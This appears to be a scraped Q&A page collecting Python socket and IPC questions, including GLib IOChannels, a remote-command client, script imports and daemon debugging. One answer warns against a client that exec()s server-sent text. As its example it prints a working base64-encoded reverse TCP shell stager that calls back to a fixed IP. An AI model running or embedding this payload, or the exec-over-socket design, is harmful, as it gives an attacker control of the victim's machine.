Develop Reference

Using GLib.IOChannel to send data from one python process to another

I am trying to use GLib.IOChannels to send data from a client to a server running a Glib.Mainloop.
The file used for the socket should be located at /tmp/so/sock, and the server should simply run a function whenever it receives data.
This is the code I've written:
import sys
import gi
from gi.repository import GLib
ADRESS = '/tmp/so/sock'
def server():
loop = GLib.MainLoop()
with open(ADRESS, 'r') as sock_file:
sock = GLib.IOChannel.unix_new(sock_file.fileno())
GLib.io_add_watch(sock, GLib.IO_IN,
lambda *args: print('received:', args))
loop.run()
def client(argv):
sock_file = open(ADRESS, 'w')
sock = GLib.IOChannel.unix_new(sock_file.fileno())
try:
print(sock.write_chars(' '.join(argv).encode('utf-8'), -1))
except GLib.Error:
raise
finally:
sock.shutdown(True)
# sock_file.close() # calling close breaks the script?
if __name__ == '__main__':
if len(sys.argv) > 1:
client(sys.argv[1:])
else:
server()
When called without arguments, it acts as the server, if called with arguments, it sends them to a running server.
When starting the server, I immediately get the following output:
received: (<GLib.IOChannel object at 0x7fbd72558b80 (GIOChannel at 0x55b8397905c0)>, <flags G_IO_IN of type GLib.IOCondition>)
I don't know why that is. Whenever I send something, I get an output like (<enum G_IO_STATUS_NORMAL of type GLib.IOStatus>, bytes_written=4) on the client side, while nothing happens server-side.
What am I missing? I suspect I understood the documentation wrong, as I did not find a concrete example.
I got the inspiration to use the IOChannel instead of normal sockets from this post: How to listen socket, when app is running in gtk.main()?

Python socket does not connect on two machines [duplicate]

I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?

An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.

How to use a variable from one python script in another without running the imported script?

I have two scripts I am actively using for a programming class. My code is commented nicely and my teacher prefers outside resources since there are many different solutions.
Getting to the actual problem though, I need to create a server with a socket (which works) and then allow another computer to connect to it using a separate script (which also works). The problem is after the connection is made. I want the two to be able to send messages back and forth. The way it sends has to be in byte form with how I have it set up but the byte returned is impossible to read. I can decode it but I want it to be conveniently located in the Command Prompt with everything else. I attempt to import the main script (Connection.py) into the secondary script (Client.py) but then it runs the main script. Is there any way I can prevent it from running?
Here is my main script (the one creating the server)
#Import socket and base64#
import socket
import base64
#Creating variable for continuous activity#
neverland = True
#Create socket object#
s = socket.socket()
print ("Socket created") #Just for debugging purposes#
#Choose port number for connection#
port = 29759 #Used a random number generator to get this port#
#Bind to the port#
s.bind((' ', port))
print ("Currently using port #%s" %(port)) #Just for debugging purposes#
#Make socket listen for connections#
s.listen(5)
print ("Currently waiting on a connection...") #Just for debugging purposes#
#Loop for establishing a connection and sending a message#
while neverland == True:
#Establish a connection#
c, addr = s.accept()
print ("Got a connection from ", addr) #Just for debugging purposes#
#Sending custom messages to the client (as a byte)#
usermessage = input("Enter your message here: ")
usermessage = base64.b64encode(bytes(usermessage, "utf-8"))
c.send(usermessage)
#End the connection#
c.close()
And here is my secondary script (the one that connects to the main one)
#Import socket module#
import socket
import Connection
#Create a socket object#
s = socket.socket()
#Define the port on which you want to connect#
port = 29759
#Connect to the server on local computer#
s.connect(('127.0.0.1', port))
#Receive data from the server#
print (s.recv(1024))
usermessage = base64.b64decode(str(usermessage, "utf-8"))
print (usermessage)
#Close the connection#
s.close()
Upon running them both in the command prompt, the following error occurs:
It attempts to run the main script again and gets the error, how can I prevent it?

The way you'd commonly achieve this is to not execute any actions when a script is read. I.e. you just define your functions, classes and variables and if this script is meant to be called directly, you if it was called as such and refer to appropriate entry point. E.g.:
myvar = "world"
def main():
print("Hello", myvar)
if __name__ == "__main__":
main()
This way you can call your script python example.py or import it from another one and use it content where needed: import example; print(example.myvar).
You can also, and this is not mutually exclusive with above, refactor your scripts and have one file with common/shared definitions which is imported into and used by both of your scripts.

how can you Import an os variable into PYTHON and have it update?

I'm attempting to find a way to easily and cleanly close my code from an external os input. I have a python tcp server running on a beaglebone black or BBB awaiting a tcp/ip communication telling it to turn on and off a relay via gpio output and it works great, I wrote a windows program to control it remotely. My question is python related and not BBB related. I have this script running for the tcp/ip server interface and when i update the linux environmental variable "pyserv" the script doesn't get the update, it only knows the value of pyserv when the program starts. The trouble code is directly below.
while True:
pyserv = os.environ.get('pyserv')
if pyserv == "1":
server.socket.close()
break
However, before I start the script I can change the environmental variable to 0 and it will run. Alternatively, I can set it as 1 and it immediately closes. If i start the script and then change the environmental variable it doesn't get the update. I've also tried inserting this code into vardata.py and importing the value of vardata.py. I have the same result. Below I have my complete code in context. the problem code is at the very bottom.
#!/usr/bin/env python
import sys
import threading
import SocketServer
import os
import Adafruit_BBIO.GPIO as GPIO
GPIO.setup("P8_14", GPIO.OUT)
s1 = 0
class ThreadedEchoRequestHandler(SocketServer.BaseRequestHandler):
def handle(self):
global s1
# self.request is the TCP socket connected to the client
self.data = self.request.recv(1024).strip()
cur_thread = threading.currentThread()
print self.data
if self.data == "1":
if s1 == 0:
GPIO.output("P8_14", GPIO.HIGH)
s1 = 1
elif s1 == 1:
GPIO.output("P8_14", GPIO.LOW)
s1 = 0
response = '%s: %s' % (cur_thread.getName(), self.data)
self.request.send(response)
return
class ThreadedEchoServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
if __name__ == '__main__':
import socket
import threading
HOST, PORT = "", 9999
# Create the server, binding to localhost on port 9999
server = SocketServer.TCPServer((HOST, PORT), ThreadedEchoRequestHandler)
# Activate the server; this will keep running until you
# interrupt the program with Ctrl-C
t = threading.Thread(target=server.serve_forever)
t.setDaemon(True) # don't hang on exit
t.start()
print 'Server loop running in thread:', t.getName()
### This Is Where The Code That Is Giving Me Issue's lies. ###
while True:
pyserv = os.environ.get('pyserv')
if pyserv == "1":
server.socket.close()
break
### This Is Where The Code That Is Giving Me Issue's lies. ###

Just use a plain text file to store your pyserv data.
First create the pyserv data file. Eg,
echo 1 > vardata
Now run this:
test1.py
#! /usr/bin/env python
import time
def get_data(fname):
with open(fname, 'r') as f:
return int(f.read())
while True:
time.sleep(1)
pyserv = get_data('vardata')
print pyserv
Hit Ctrl+C to abort the script.
If you change the contents of vardata it will be reflected in the script output.
This is simpler (and safer) than storing your parameter in an executable Python file. But if you really do want to use a Python file for your parameters then you need the script to reload the imported data to make any changes visible.
vardata.py
pyserv = 1
test2.py
#! /usr/bin/env python
import time
import vardata
while True:
time.sleep(1)
reload(vardata)
print vardata.pyserv
Note that you have to do import vardata; if you do from vardata import pyserv the reload() call will fail.

how do I diagnose a vanishing port listener?

I'm pulling data off a port using a python process, launched as an upstart job on an Ubuntu server. The data is sent using TCP with each client sending a single relatively small string of information:
The upstart config:
start on runlevel [2345]
stop on runlevel [!2345]
respawn
respawn limit 3 5
setuid takeaim
setgid takeaim
exec /home/takeaim/production/deploy/production/update_service_demon.sh
The update_service_demon.sh script (I found it easier to debug separating this out of upstart):
#!/bin/bash
# Make sure we're in the right virtual env and location
source /home/takeaim/.virtualenvs/production/bin/activate
source /home/takeaim/.virtualenvs/production/bin/postactivate
cd /home/takeaim/production
exec python drupdate/dr_update_service.py
The python script (it dispatches the real work to a celery worker):
from collections import defaultdict
import select
import socket
from django.conf import settings
from drupdate.tasks import do_dr_update
def create_server_socket():
"""Set up the and return server socket"""
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setblocking(0)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('0.0.0.0', settings.DRUPDATE['PORT']))
server_socket.listen(settings.DRUPDATE['MAX_CONNECT_REQUESTS'])
return server_socket
def serve(echo_only=False):
message_length = settings.DRUPDATE['MSG_LENGTH']
message_chunks = defaultdict(list)
server_socket = create_server_socket()
inputs = [server_socket]
while inputs:
readable, writable, exceptional = select.select(inputs, [], inputs)
for sock in readable:
if sock is server_socket:
client_socket, address = server_socket.accept()
client_socket.setblocking(0)
inputs.append(client_socket)
else:
chunk = sock.recv(message_length)
if chunk:
message_chunks[sock].append(chunk)
else:
# This client_socket is finished, hand off message for processing
message = ''.join(message_chunks[sock])
if echo_only:
print(message)
else:
do_dr_update.delay(message)
inputs.remove(sock)
sock.close()
for sock in exceptional:
inputs.remove(sock)
sock.close()
if sock is server_socket:
# replace bad server socket
server_socket = create_server_socket()
inputs.append(server_socket)
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="Process incoming DR messages")
parser.add_argument('--echo', help='Just echo incoming messages to the console - no updates will take place',
dest='echo_only', action='store_true', default=False)
args = parser.parse_args()
serve(echo_only=args.echo_only)
The process disappears every now and then despite the restart. I'm reluctant to make the restarts unlimited unless I can understand why the process disappears. A manual restart works fine... until it disappears again. It can be up for days and then just vanishes.
What is the best way to find out what is going on?

Add enough logging to the system to enable traces to be analysed after a failure.
Here are some suggestions for logging in order of verbosity:
Replace the exec python drupdate/dr_update_service.py call with the following snippet which will log the exit code of your python process to syslog on exit. The exit code may give some clues as to how the process terminate. eg If the process terminate by a signal the exit code will be >= 128.
python drupdate/dr_update_service.py || logger "He's dead Jim, exit code $?"
Add a try/except block around your server call in __main__. In the exception handler, print the traceback to file or a logging subsystem.
If the above methods fail to provide clues, wrap your entire script with a call to strace -f -tt and divert the output to a log file. This will trace the entire set of system calls made by your program, their arguments and return codes. This will help debug issues which may be related to system calls which return errors. Applying this method will slow down your process and generate a huge amount of output which may in turn change the behaviour of your program and mask the underlying issue.